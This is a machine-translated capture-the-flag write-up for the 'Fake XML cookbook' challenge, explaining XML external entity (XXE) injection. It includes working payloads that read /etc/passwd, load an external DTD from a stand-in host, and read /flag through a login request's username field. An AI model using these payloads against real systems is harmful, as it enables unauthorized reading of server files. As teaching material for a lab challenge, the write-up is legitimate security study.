Fake XML cookbook of XML xxE vulnerability

Knowledge point ：

What is? xxe

Five minutes to understand what is XXE Loophole

utilize

XML Loophole _cjm..... The blog of -CSDN Blog _xml Loophole

XXE Loophole ——XML Injection of external entities (XML External Entity)

When the application is uploaded by the user XML File or POST Request data transmission , And the application does not prohibit XML Reference external entities , There is also no filtering of user submitted XML data , Then there will be XML External entity injection vulnerability , namely XXE Loophole

example 1：

<?xml version="1.0"?><!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd" >]><x>&b;</x>

If the above xml The code is parsed , Will return /etc/passwd The content of the document .

example 2：

<?xml version="1.0"?><!DOCTYPE a [<!ENTITY % d SYSTEM "http://xxx.com/xxe.dtd" >%d;]><x>&xxe;</x>

http://xxxx.com/xxe.dtd The content is ：

<!ENTITY xxe SYSTEM "file:///etc/passwd" >

Some friends may have found , example 1 There is no %, For example 2 There is % Of , The difference here is , example 1 The entities defined in are generic entities , For example 2 Parameter entities are defined in , And the parameter entity can only be in dtd Use in , That is an example 2 The third line in the code  %d;, It's like referencing unified entities outside , there %d; I quoted http://xxx.com/xxe.dtd This file goes to dtd in .

example 3：

<?xml version="1.0"?><!DOCTYPE a SYSTEM "http://xxx.com/xxe.dtd"><x>&xxe;</x>

http://xxxx.com/xxe.dtd The content is ：

<!ENTITY xxe SYSTEM "file:///etc/passwd" >

This question ：

Grab the bag ：

 

Direct vulnerability xml Entity :

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///etc/passwd">
  ]>
<user><username>&admin;</username><password>123456</password></user>

Be careful , Entities have templates ;

Then continue to open flag：

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>
<user><username>&admin;</username><password>123456</password></user>